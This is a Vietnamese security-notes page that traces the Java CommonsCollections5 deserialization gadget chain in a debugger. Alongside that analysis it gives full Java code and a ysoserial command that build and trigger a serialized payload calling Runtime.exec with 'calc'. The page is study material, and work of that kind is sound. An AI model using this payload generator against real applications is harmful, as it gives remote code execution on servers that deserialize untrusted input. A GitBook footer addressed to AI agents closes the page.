> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/commonscollections5.md).

# CommonsCollections5

Code sườn để test debug và gen payload.

```java
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class GenAndTrigger {
    public static void main(String[] args) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        System.out.println("GEN");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        try {
        //Serialize
        System.out.println("Serialize");
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(val);
        out.close();
        //Deserialize
        System.out.println("Deserialize");
        ObjectInputStream in = new ObjectInputStream(
                new ByteArrayInputStream(baos.toByteArray())
        );

        in.readObject();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

```

Write Object to file :

```java
        try {
            //Serialize
            System.out.println("Write Object to file");
            FileOutputStream fos = new FileOutputStream("cc.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(val);
            oos.close();
            fos.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
```

Unserialize from file :

```java
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class read_file {
    public static void main(String[] args) throws Exception {
        FileInputStream fis = new FileInputStream("cc.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // sau khi read file thì trigger deserialize bằng readObject()
        Object obj = ois.readObject();

        ois.close();
        fis.close();
        System.out.println("Done");
    }
}

```

## CommonsCollections5

`CommonsCollections5` nằm trong bộ gadgetchains CommonsCollections 1-7 nhằm khai thác thư viện `Commons Collections`, bộ gadgetchain này về cơ bản cũng đều lợi dụng class `InvokerTransformer` và `InstantiateTransformer` để invoke method.

### Setup

Do chain này để exploit lib nên chúng ta cần import lib vào đã. Chọn `Project Structure`

<figure><img src="/files/fVsXkY0yPPZqoGugeU8V" alt=""><figcaption></figcaption></figure>

from maven

<figure><img src="/files/PRBs71X8AqlAKUZrIIq9" alt=""><figcaption></figcaption></figure>

Do chain `CommonsCollections5` dùng được với `commons-collections:3.1` nên cần import `commons-collections:3.1`

gõ `commons-collections:commons-collections:3.1` vào ô search và nhấn ok là nó tự import , ko chọn được

Bước tiếp theo, cần build payload bằng ysoserial

```bash
java -jar ysoserial.jar CommonsCollections5 calc > cc5.ser
```

Sau đó run file :

```bash
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class TestDeserialize {
    public static void main(String[] args) throws Exception {
        FileInputStream fis = new FileInputStream("src/cc5.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // sau khi read file thì trigger deserialize bằng readObject()
        Object obj = ois.readObject();

        ois.close();
        fis.close();
        System.out.println("Done");
    }
}

```

Vậy là đã trigger thành công. (Lưu ý, sử dụng java 8)

<figure><img src="/files/XPFQTGtn4VSHOXdbnaiU" alt=""><figcaption></figcaption></figure>

### Debug

**`Commons-Collections5`** sẽ có chain như sau

```c
  ObjectInputStream.readObject()
      BadAttributeValueExpException.readObject()
          TiedMapEntry.toString()
              LazyMap.get()
                  ChainedTransformer.transform()
                      ConstantTransformer.transform()
                      InvokerTransformer.transform()
                          Method.invoke()
                              Class.getMethod()
                      InvokerTransformer.transform()
                          Method.invoke()
                              Runtime.getRuntime()
                      InvokerTransformer.transform()
                          Method.invoke()
                              Runtime.exec()
```

Nên đầu tiên, cần vào method **readObject** của **`BadAttributeValueExpException`** để đặt breakpoint.

**`Ctrl+N`** tìm **`BadAttributeValueExpException`** và sau đó **`Ctrl + F12`** để list ra các method và đi tới **`readObject`**

<figure><img src="/files/gt2kyut9EgYpjmg7F356" alt=""><figcaption></figcaption></figure>

theo chain thì chúng ta cần để ý method `toString()` được gọi

<figure><img src="/files/EtVwmUC6EZkaj57oCVPR" alt=""><figcaption></figcaption></figure>

Nhưng mà khi debug tới `if (valObj == null) {` nó đã exec calc, hoàn toàn chưa chạy tới `toString()`

<figure><img src="/files/Xx04sp0FeBfpiG57QxkZ" alt=""><figcaption></figcaption></figure>

lý do là gì thì đọc qua bài viết này : <https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2>

<figure><img src="/files/H6AOh9ZpZwD8HtAL9XKI" alt=""><figcaption></figcaption></figure>

Vậy nên chúng ta cần đặt break point theo flow đã.

<figure><img src="/files/5UtKbtl18QOg2ZA1GITj" alt=""><figcaption></figcaption></figure>

**`F7`** vào **`valObj.totring()`** .

Lúc này ta thấy **`valObj`** là class **`TiedMapEntry`**

<figure><img src="/files/yAZBdDwpGsNbrQCTka8P" alt=""><figcaption></figcaption></figure>

Trong **`toString()`** sẽ call **`this.getKey()`** và **`this.getValue()`**

<figure><img src="/files/9FohjuqLsHiqIHKnE9PE" alt=""><figcaption></figcaption></figure>

code **`getKey`** và **`getValue`**

```java
    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }
```

theo chain thì nó sẽ call tới **`LazyMap.get()`** nên ở đây cần control **`this.map`** là Object **`LazyMap`** với **`this.key`** là **`foo`**

<figure><img src="/files/OVNxDE5IwQCBfatMHHqJ" alt=""><figcaption></figcaption></figure>

`F7` vô và đặt lại breakpoint ở đây và run lại thì không thấy nhảy pop up calc nữa.

<figure><img src="/files/WQH5UBfeup9orNQsNt8a" alt=""><figcaption></figcaption></figure>

Đoạn này thì nó sẽ check xem `super.map` của Object `LazyMap` này có chứa key hay không

Nếu không thì sẽ call **`this.factory.transform(key)`** và **`this.factory`** lại là **Object `ChainedTransformer`**

⇒ Nó sẽ call **`ChainedTransformer.transform(key)`**

Bên trong **`ChainedTransformer.transform(key)`** :

<figure><img src="/files/GJQhalJIei8IZOos8cDP" alt=""><figcaption></figcaption></figure>

Trong constructor nó nhận array **`Transformer[] transformers`** và gắn **`this.iTransformers = transformers;`**

và sẽ loop với **`this.iTransformers`** và gắn `object = this.iTransformers[i].transform(object);`

Và nó sẽ có 5 phần tử sau :

<figure><img src="/files/w7K5wNBlaiAlQ8srLSmV" alt=""><figcaption></figcaption></figure>

#### 1. Loop i = 0:

Nó sẽ gọi như sau :

`object = this.iTransformers[0].transform(object);`

và value của **`object`** là **`foo`** nó sẽ return ra

<figure><img src="/files/8pR4hBBGr1RYzL2z4AKp" alt=""><figcaption></figcaption></figure>

và **`this.iConstant`** đã được set từ trước là **`Runtime.class` (class java.lang.Runtime)**

<figure><img src="/files/CUCib01OtWI3unPHzm6y" alt=""><figcaption></figcaption></figure>

Vậy là khi end loop đầu tiên `object` đã được gán là **`class java.lang.Runtime`**

#### 2. Loop i =1 :

Lúc này sẽ là\
**`object = this.iTransformers[1].transform("class java.lang.Runtime");`**

Tương đương :

**`object = InvokerTransformer.transform("class java.lang.Runtime");`**

code trong **`InvokerTransformer`** xử lí như sau :

<figure><img src="/files/Bzt4j83u9IGJvqgU5Ho0" alt=""><figcaption></figcaption></figure>

* `input.getClass()` sẽ là `Runtime.class.getClass()` = `Class.class`
* Sau đó sẽ là `Class.class.getMethod("getMethod",**Class[] { String.class, Class[].class }**)`

⇒ lúc này `Method method` sẽ là metadata như sau : **`Class.getMethod(String,Class[])`** để chuẩn bị cho **invoke** với

```java
this.iMethodName = "getMethod" //đã được set từ trước
this.iParamTypes = Class[] { String.class, Class[].class } //đã được set từ trước
this.Args = new Object[] { "getRuntime", new Class[0] }
```

Sau đó `method.invoke(input, this.Args)` với `this.Args = new Object[] { "getRuntime", new Class[0] }`

⇒ Lúc này nó sẽ invoke **`Class.getMethod("getRuntime",Class[0])`**

Vậy là nó sẽ return về **`java.lang.Runtime.getRuntime()`**

Vậy nếu sẽ ra sao khi

```java
input = Runtime.getRuntime()
iMethodName = "exec"
iParamType = "String.class"
iArgs = "calc"
```

Nó đã trigger được calc.

<figure><img src="/files/1804RU6xEXH6baZzeuI2" alt=""><figcaption></figcaption></figure>

> Nhưng mà khi deserialize thì sẽ không được. Bởi vì Class `java.lang.Runtime` không được **implement** Serializable interface.\
> ⇒ Không serialize được class **`java.lang.Runtime`** nên phải dùng Reflection

#### 3. Loop i = 2 :

Lúc này sẽ gọi\
`object = this.iTransformers[2].transform(Method **Runtime.getRuntime()**);`

⇒ `InvokerTransformer.transform(Method **Runtime.getRuntime()**);`

Tiếp tục nhảy vô loop giống i=1

**`Runtime.getRuntime().getClass() = java.lang.reflect.Method`**

```java
  this.iMethodName = "invoke";
  this.iParamTypes = new Class[] {Object.class, Object[].class };
  this.iArgs = new Object[] {null, new Object[0] };
```

Thì nó sẽ là `reflect.Method.getMethod("invoke",Object.class,Object[].class)`

⇒ get được method **`invoke`**

Rồi sau đó nó build args là **`null,Object[0]`** và call invoke

tương đương :

**`Runtime.getRuntime().invoke(null)`**

⇒ Chúng ta đã có instance của `Runtime.getRuntime()`

#### 4. Loop i = 3 :

Ở loop 3 thì nó sẽ thay đổi như sau :

```java
  this.iMethodName = "exec";
  this.iParamTypes = new Class[] {String.class};
  this.iArgs = new String[] { "calc"};
```

Và nó call tới exec() và khi invoke sẽ là

```java
Runtime.class
       .getMethod("exec", String.class)
       .invoke(Runtime.getRuntime(), "calc");
```

\= **`Runtime.getRuntime().exec('calc.exe')`**

### Gen Payload

Bây giờ tiến hành gen payload lại với những gì đã phân tích ở trên.

Array của `iTransformers`:

`iTransformers[0]` :

Vì constructor của nó nhận Object `constantToReturn` và gán vào `this.iConstant` nên chỉ cần truyền vào Object **`Runtime.class`**

<figure><img src="/files/FcgqXu26hAYlWWf5AZ3i" alt=""><figcaption></figcaption></figure>

⇒ Payload sẽ là

```java
new ConstantTransformer(Runtime.class)
```

`iTransformers[1]` :

Constructor của **`InvokerTransformer`** sẽ như sau :

<figure><img src="/files/hMglfzWr9TSCJcSr66ZF" alt=""><figcaption></figcaption></figure>

⇒ Payload :

```java
new InvokerTransformer("getMethod", 
			new Class[] {String.class,Class[].class},
			 new Object[] {"getRuntime",new Class[0]} )
```

`iTransformers[2]`:

Vì chung Class với `iTransformers[1]` nên chung format :

```java
new InvokerTransformer("invoke", 
			new Class[] {Object.class,Object[].class},
			 new Object[] {null,new Object[0]} )
```

`iTransformers[3]`:

```java
new InvokerTransformer("exec", 
			new Class[] {String.class},"calc" )
```

`iTransformers[4]`:

Để cho chạy ko bị lỗi thì cần nó return về 1 giá trị gì đó sau khi call exec

⇒ Dùng

```java
new ConstantTransformer(1)
```

Vậy là ta đã có được array của `iTransformers`:

```java
Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
						String.class,Class[].class}, new Object[] {
						"getRuntime",new Class[0]} ),
				new InvokerTransformer("invoke", new Class[] {
						Object.class,Object[].class},new Object[] {
						null,new Object[0]} ),
				new InvokerTransformer("exec", new Class[] {
						String.class},"calc" ),
				new ConstantTransformer(1)
				},
```

new Class `ChainedTransformer` :

<figure><img src="/files/eesk70Fe2wnr7TZJVv7F" alt=""><figcaption></figcaption></figure>

Chain của chúng ta đã có như sau :

```java
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
            String.class,Class[].class}, new Object[] {
            "getRuntime",new Class[0]} ),
    new InvokerTransformer("invoke", new Class[] {
            Object.class,Object[].class},new Object[] {
            null,new Object[0]} ),
    new InvokerTransformer("exec", new Class[] {
            String.class},new String[] { "calc" } ),
    new ConstantTransformer(1)
};
ChainedTransformer transformerChain = new ChainedTransformer(Transformer[] transformers);
```

Đi ngược lại chain thì bước trước đó là ở `LazyMap` và constructor của nó (cần truyền vào `(Map map, Transformer factory)`:

<figure><img src="/files/wXfv4u2l6Zx6LTqsFYJF" alt=""><figcaption></figcaption></figure>

Và nó bị protected nên chúng ta cần gọi new bằng cách dùng method `decorate`

chain :

```java
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,Class[].class}, new Object[] {
                        "getRuntime",new Class[0]} ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,new Object[0]} ),
                new InvokerTransformer("exec", new Class[] {
                        String.class},new String[] { "calc" } ),
                new ConstantTransformer(1)
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        
        Map map = new HashMap();
        Map lzm = LazyMap.decorate(map,transformerChain);
```

và trước đó nữa là call trong class `TiedMapEntry` , constructor nó nhận `Map` và `Object` . Chúng ta cần điều khiển map là Object `LazyMap` , key là `foo`

<figure><img src="/files/4kyYTdErpOFbTJ41lTat" alt=""><figcaption></figcaption></figure>

Vậy chain cần thêm dòng này :

```java
TiedMapEntry tme = new TiedMapEntry(lzm,"foo");
```

Và trước đó nữa thì hoạt động trong method `readObject` của `BadAttributeValueExpException`

Vì là method readObject nên không đi qua constructor mà phải tự set value của val để làm sao nhảy vào đoạn else if đó.

Và val là 1 fields private nên cần dùng reflection để set value.

<figure><img src="/files/Hpnumw0OZlrjko2B2up3" alt=""><figcaption></figcaption></figure>

```java
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, tme);
```

Vậy là chúng ta đã có 1 chain hoàn chỉnh :

```java
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class GenAndTrigger {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        System.out.println("Gen Payload");

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,Class[].class}, new Object[] {
                        "getRuntime",new Class[0]} ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,new Object[0]} ),
                new InvokerTransformer("exec", new Class[] {
                        String.class},new String[] { "calc" } ),
                new ConstantTransformer(1)
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lzm = LazyMap.decorate(map,transformerChain);

        TiedMapEntry tme = new TiedMapEntry(lzm,"foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, tme);

        try {
        //Serialize
        System.out.println("Serialize");
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(val);
        out.close();
        //Deserialize
        System.out.println("Deserialize");
        ObjectInputStream in = new ObjectInputStream(
                new ByteArrayInputStream(baos.toByteArray())
        );

        in.readObject();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

```

Test ghi object ra file :

```java
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

import java.io.*;

public class write_file {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        System.out.println("Gen Payload");

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,Class[].class}, new Object[] {
                        "getRuntime",new Class[0]} ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,new Object[0]} ),
                new InvokerTransformer("exec", new Class[] {
                        String.class},new String[] { "calc" } ),
                new ConstantTransformer(1)
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lzm = LazyMap.decorate(map,transformerChain);

        TiedMapEntry tme = new TiedMapEntry(lzm,"foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, tme);

        try {
            //Serialize
            System.out.println("Write Object to file");
            FileOutputStream fos = new FileOutputStream("cc.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(val);
            oos.close();
            fos.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Test load lại object từ file :

```java
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class read_file {
    public static void main(String[] args) throws Exception {
        FileInputStream fis = new FileInputStream("cc.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // sau khi read file thì trigger deserialize bằng readObject()
        Object obj = ois.readObject();

        ois.close();
        fis.close();
        System.out.println("Done");
    }
}
```

<figure><img src="/files/BdjoVn9j3Vur7ECDzojz" alt=""><figcaption></figcaption></figure>

Vậy là đã phân tích xong CC5 và cách build payload.

## Reference

* <https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/>
* <https://hackmd.io/@endy/HyzJE0jO2>
* <https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/commonscollections5.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
